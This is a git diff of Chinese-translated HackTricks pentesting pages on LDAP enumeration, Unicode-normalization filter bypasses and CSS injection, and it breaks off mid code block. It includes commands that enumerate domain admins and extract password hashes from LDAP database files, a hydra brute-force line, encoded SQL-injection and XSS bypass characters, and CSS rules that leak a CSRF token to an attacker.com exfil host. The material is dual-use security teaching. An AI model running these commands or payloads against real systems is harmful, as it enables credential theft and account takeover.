ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
-x Simple Authentication
|
-x Simple Authentication
|
||||||
|
@ -210,7 +209,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||||
```
|
```
|
||||||
提取**computers**:
|
提取**计算机**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
|
@ -218,7 +217,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Com
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
提取 **Domain Admins**:
|
提取 **Domain Admins**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
|
@ -226,28 +225,26 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Dom
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
提取 **Enterprise Admins**:
|
提取**Enterprise Admins**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
提取**管理员**:
|
提取 **Administrators**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
提取 **Remote Desktop Group**:
|
提取**远程桌面组**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
要查看您是否有权访问任何密码,您可以在执行其中一个查询后使用 grep:
|
要查看是否有访问密码,您可以在执行以下查询之后使用grep:
|
||||||
```bash
|
```bash
|
||||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||||
```
|
```
|
||||||
请注意,您在这里找到的密码可能不是真实的密码...
|
|
||||||
|
|
||||||
#### pbis
|
#### pbis
|
||||||
|
|
||||||
您可以从这里下载 **pbis**:[https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),通常安装在 `/opt/pbis`。\
|
您可以从这里下载**pbis**:[https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),通常安装在`/opt/pbis`目录下。\
|
||||||
**Pbis** 允许您轻松获取基本信息:
|
**Pbis**允许您轻松获取基本信息:
|
||||||
```bash
|
```bash
|
||||||
#Read keytab file
|
#Read keytab file
|
||||||
./klist -k /etc/krb5.keytab
|
./klist -k /etc/krb5.keytab
|
||||||
|
@ -295,11 +292,11 @@ done
|
||||||
|
|
||||||
### Apache Directory
|
### Apache Directory
|
||||||
|
|
||||||
[**从这里下载 Apache Directory**](https://directory.apache.org/studio/download/download-linux.html)。你可以在[这里找到如何使用这个工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
|
[**从这里下载Apache Directory**](https://directory.apache.org/studio/download/download-linux.html)。您可以在[这里找到如何使用此工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
|
||||||
|
|
||||||
### jxplorer
|
### jxplorer
|
||||||
|
|
||||||
你可以在这里下载带有 LDAP 服务器的图形界面:[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
您可以在此处下载带有LDAP服务器的图形界面:[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||||
|
|
||||||
默认安装在:_/opt/jxplorer_
|
默认安装在:_/opt/jxplorer_
|
||||||
|
|
||||||
|
@ -307,20 +304,18 @@ done
|
||||||
|
|
||||||
### Godap
|
### Godap
|
||||||
|
|
||||||
你可以在[https://github.com/Macmod/godap](https://github.com/Macmod/godap)访问它
|
您可以在[https://github.com/Macmod/godap](https://github.com/Macmod/godap)访问它
|
||||||
|
|
||||||
## 通过 kerberos 进行认证
|
## 通过kerberos进行身份验证
|
||||||
|
|
||||||
使用 `ldapsearch`,你可以通过 `-Y GSSAPI` 参数**使用 kerberos 进行认证**,而不是通过 **NTLM**
|
使用`ldapsearch`,您可以通过使用参数`-Y GSSAPI`来**对kerberos进行身份验证**,而不是通过**NTLM**进行身份验证
|
||||||
|
|
||||||
## POST
|
## POST
|
||||||
|
|
||||||
如果你能访问包含数据库的文件(可能在 _/var/lib/ldap_ 中)。你可以使用以下方法提取哈希:
|
如果您可以访问包含数据库的文件(可能在_/var/lib/ldap_中)。您可以使用以下方法提取哈希值:
|
||||||
```bash
|
```bash
|
||||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||||
```
|
```
|
||||||
您可以将密码哈希(从 '{SSHA}' 到 'structural',不添加 'structural')提供给john。
|
|
||||||
|
|
||||||
### 配置文件
|
### 配置文件
|
||||||
|
|
||||||
* 通用
|
* 通用
|
||||||
|
@ -343,8 +338,6 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||||
* slapd.sas\_oc.conf
|
* slapd.sas\_oc.conf
|
||||||
* Sun ONE Directory Server 5.1
|
* Sun ONE Directory Server 5.1
|
||||||
* 75sas.ldif
|
* 75sas.ldif
|
||||||
|
|
||||||
## HackTricks 自动命令
|
|
||||||
```
|
```
|
||||||
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 389,636 #Comma separated if there is more than one.
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
||||||
|
@ -385,12 +378,14 @@ Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 您是否在**网络安全公司**工作?您是否希望在**HackTricks中看到您的公司广告**?或者您是否想要访问**PEASS的最新版本或以PDF格式下载HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持HackTricks的方式:
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs集合**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* 探索我们的独家[**NFTs**]收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,57 +2,60 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 背景
|
**这是一个摘要:[https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)**。查看更多详细信息(图片取自该网站)。
|
||||||
|
|
||||||
规范化确保两个可能使用不同二进制表示形式的字符串在规范化后具有相同的二进制值。
|
## 理解Unicode和规范化
|
||||||
|
|
||||||
字符之间有两种总体类型的等价性,“**规范等价**”和“**兼容性等价**”:\
|
Unicode规范化是一种确保字符的不同二进制表示标准化为相同二进制值的过程。这个过程在处理编程和数据处理中的字符串时至关重要。Unicode标准定义了两种字符等价性:
|
||||||
**规范等价**字符在打印或显示时被假定具有相同的外观和含义。**兼容性等价**是一种较弱的等价性,在这种情况下,两个值可能代表相同的抽象字符,但可以以不同的方式显示。**Unicode**标准定义了**4种规范化算法**;**NFC、NFD、NFKD和NFKD**,每种算法以不同的方式应用规范和兼容性规范化技术。您可以在Unicode.org上阅读更多关于不同技术的信息。
|
|
||||||
|
|
||||||
### Unicode编码
|
1. **规范等价性**:如果字符在打印或显示时具有相同的外观和含义,则被视为规范等价。
|
||||||
|
2. **兼容等价性**:一种较弱的等价形式,其中字符可能表示相同的抽象字符,但显示方式可能不同。
|
||||||
|
|
||||||
尽管Unicode部分设计是为了解决互操作性问题,但标准的发展、对旧系统的支持需求以及不同的编码方法仍然可能构成挑战。\
|
有**四种Unicode规范化算法**:NFC、NFD、NFKC和NFKD。每种算法以不同的方式应用规范和兼容规范化技术。要更深入地了解这些技术,您可以在[Unicode.org](https://unicode.org/)上探索这些技术。
|
||||||
在我们深入研究Unicode攻击之前,以下是关于Unicode的主要了解点:
|
|
||||||
|
|
||||||
* 每个字符或符号都映射到一个数值,称为“代码点”。
|
### Unicode编码的关键要点
|
||||||
* 代码点值(因此字符本身)由1个或多个字节在内存中表示。像英语国家使用的LATIN-1字符可以使用1个字节表示。其他语言有更多字符,需要更多字节来表示所有不同的代码点(因为它们不能使用已经被LATIN-1占用的那些)。
|
|
||||||
* “编码”一词指的是字符以字节序列表示的方法。最常见的编码标准是UTF-8,使用这种编码方案,ASCII字符可以使用1个字节表示,或者最多4个字节表示其他字符。
|
|
||||||
* 当系统处理数据时,它需要知道使用的编码来将字节流转换为字符。
|
|
||||||
* 尽管UTF-8是最常见的,但还有类似的编码标准,名为UTF-16和UTF-32,它们之间的区别在于表示每个字符所使用的字节数。例如,UTF-16使用至少2个字节(但最多4个),而UTF-32对所有字符使用4个字节。
|
|
||||||
|
|
||||||
Unicode规范化两个不同字节表示相同字符的示例:
|
理解Unicode编码至关重要,特别是在处理不同系统或语言之间的互操作性问题时。以下是主要要点:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (156).png>)
|
- **代码点和字符**:在Unicode中,每个字符或符号都被分配一个称为“代码点”的数值。
|
||||||
|
- **字节表示**:代码点(或字符)在内存中由一个或多个字节表示。例如,拉丁-1字符(在讲英语的国家中很常见)使用一个字节表示。然而,具有更大字符集的语言需要更多字节来表示。
|
||||||
|
- **编码**:这个术语指的是如何将字符转换为一系列字节。UTF-8是一种流行的编码标准,其中ASCII字符使用一个字节表示,其他字符最多使用四个字节。
|
||||||
|
- **处理数据**:处理数据的系统必须了解所使用的编码,以正确地将字节流转换为字符。
|
||||||
|
- **UTF的变体**:除了UTF-8,还有其他编码标准,如UTF-16(使用至少2个字节,最多4个字节)和UTF-32(所有字符使用4个字节)。
|
||||||
|
|
||||||
**Unicode等价字符列表可以在这里找到:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) 和 [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
|
理解这些概念对于有效处理和减轻由Unicode的复杂性及其各种编码方法引起的潜在问题至关重要。
|
||||||
|
```python
|
||||||
|
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
||||||
|
```
|
||||||
|
**Unicode等效字符列表可在此找到:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) 和 [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
|
||||||
|
|
||||||
### 发现
|
### 探索
|
||||||
|
|
||||||
如果您在web应用程序中找到一个被回显的值,您可以尝试发送**‘KELVIN符号’ (U+0212A)**,它**规范化为"K"**(您可以将其发送为`%e2%84%aa`)。**如果回显了一个"K"**,那么,某种形式的**Unicode规范化**正在执行。
|
如果您在web应用程序中找到一个被回显的值,您可以尝试发送**‘KELVIN SIGN’ (U+0212A)**,它**规范化为 "K"** (您可以发送它作为 `%e2%84%aa`)。**如果回显了一个 "K"**,那么可能正在执行某种**Unicode规范化**。
|
||||||
|
|
||||||
其他**示例**:`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 经过**unicode**后是 `Leonishan`。
|
另一个**示例**:`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 经过**unicode**后是 `Leonishan`。
|
||||||
|
|
||||||
## **易受攻击的示例**
|
## **易受攻击的示例**
|
||||||
|
|
||||||
### **SQL注入过滤器绕过**
|
### **SQL注入过滤器绕过**
|
||||||
|
|
||||||
想象一个网页,它使用字符`'`来创建带有用户输入的SQL查询。这个网页作为安全措施,**删除**用户输入中所有出现的字符**`'`**,但在**删除之后**和**创建查询之前**,它使用**Unicode**对用户输入进行**规范化**。
|
想象一个网页正在使用字符 `'` 来使用用户输入创建SQL查询。这个网页作为安全措施,**删除**用户输入中所有字符 **`'`** 的出现,但在**删除之后**和**创建查询之前**,它使用**Unicode**对用户输入进行**规范化**。
|
||||||
|
|
||||||
然后,恶意用户可以插入一个不同的Unicode字符等价于`' (0x27)`,如`%ef%bc%87`,当输入被规范化时,会创建一个单引号,出现**SQL注入漏洞**:
|
然后,一个恶意用户可以插入一个等效于 `' (0x27)` 的不同Unicode字符,比如 `%ef%bc%87`,当输入被规范化时,一个单引号被创建,从而出现**SQL注入漏洞**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (157) (1).png>)
|
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (157) (1).png>)
|
||||||
|
|
||||||
**一些有趣的Unicode字符**
|
**一些有趣的Unicode字符**
|
||||||
|
|
||||||
|
@ -84,42 +87,38 @@ Unicode规范化两个不同字节表示相同字符的示例:
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||||
|
|
||||||
### XSS (跨站脚本攻击)
|
### XSS(跨站脚本)
|
||||||
|
|
||||||
您可以使用以下字符之一来欺骗 web 应用程序并利用 XSS:
|
您可以使用以下字符来欺骗 Web 应用程序并利用 XSS:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (312) (1).png>)
|
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (1).png>)
|
||||||
|
|
||||||
请注意,例如第一个 Unicode 字符可以发送为:`%e2%89%ae` 或 `%u226e`
|
请注意,例如,第一个提出的 Unicode 字符可以发送为:`%e2%89%ae` 或 `%u226e`
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (215) (1).png>)
|
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1).png>)
|
||||||
|
|
||||||
### Fuzzing 正则表达式
|
### 模糊正则表达式
|
||||||
|
|
||||||
当后端**使用正则表达式检查用户输入**时,可能会出现**输入**被**规范化**用于**正则表达式**,但**未**用于其被**使用**的地方。例如,在 Open Redirect 或 SSRF 中,正则表达式可能会**规范化发送的 URL**,但随后**按原样访问它**。
|
当后端**使用正则表达式检查用户输入**时,可能会出现**输入**被**规范化用于正则表达式**,但**未**用于其**实际使用**的情况。例如,在开放重定向或 SSRF 中,正则表达式可能会**规范化发送的 URL**,但然后**按原样访问**它。
|
||||||
|
|
||||||
工具 [**recollapse**](https://github.com/0xacb/recollapse) 允许**生成输入的变体**以 fuzz 后端。更多信息请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/).
|
工具 [**recollapse**](https://github.com/0xacb/recollapse) 允许**生成输入的变体**以对后端进行模糊测试。有关更多信息,请查看**github**和此[**文章**](https://0xacb.com/2022/11/21/recollapse/).
|
||||||
|
|
||||||
## 参考资料
|
|
||||||
|
|
||||||
**本页的所有信息取自:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
|
|
||||||
|
|
||||||
**其他参考资料:**
|
|
||||||
|
|
||||||
|
# 参考资料
|
||||||
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
|
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零开始学习 AWS 黑客攻击!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 系列
|
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFT**](https://opensea.io/collection/the-peass-family)系列
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,24 +1,24 @@
|
||||||
# CSS 注入
|
# CSS注入
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## CSS 注入
|
## CSS注入
|
||||||
|
|
||||||
### 属性选择器
|
### 属性选择器
|
||||||
|
|
||||||
通过 CSS 注入泄露信息的主要技术是尝试**使用 CSS 匹配文本**,如果**文本存在**,**加载一些外部资源,例如:**
|
CSS选择器被设计用来匹配`input`元素的`name`和`value`属性的值。如果输入元素的value属性以特定字符开头,将加载预定义的外部资源:
|
||||||
```css
|
```css
|
||||||
input[name=csrf][value^=a]{
|
input[name=csrf][value^=a]{
|
||||||
background-image: url(https://attacker.com/exfil/a);
|
background-image: url(https://attacker.com/exfil/a);
|
||||||
|
@ -31,27 +31,28 @@ input[name=csrf][value^=9]{
|
||||||
background-image: url(https://attacker.com/exfil/9);
|
background-image: url(https://attacker.com/exfil/9);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
```markdown
|
然而,当处理隐藏的输入元素(`type="hidden"`)时,这种方法会面临限制,因为隐藏元素不会加载背景。
|
||||||
然而,请注意,如果在示例中,**csrf name input** 是**隐藏类型**(它们通常是),那么这种技术将不起作用,因为背景不会被加载。\
|
|
||||||
然而,你可以通过一个简单的方法来**绕过**这个障碍,而不是让隐藏元素加载背景,**只需让其后的任何内容加载背景:**
|
#### 针对隐藏元素的绕过方法
|
||||||
```
|
|
||||||
|
为了规避这种限制,您可以使用`~`通用兄弟选择器来定位后续的兄弟元素。然后,CSS规则将应用于隐藏输入元素后面的所有兄弟元素,从而导致背景图片加载:
|
||||||
```css
|
```css
|
||||||
